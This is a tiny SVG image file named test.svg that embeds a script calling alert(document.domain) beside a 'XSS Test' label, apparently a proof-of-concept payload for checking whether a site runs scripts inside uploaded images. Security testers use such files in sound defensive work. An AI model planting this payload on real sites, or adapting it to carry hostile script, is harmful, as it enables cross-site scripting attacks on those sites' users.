test.svg

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="100" height="100">
<script>alert(document.domain)</script>
<text x="10" y="50" fill="red">XSS Test</text>
</svg>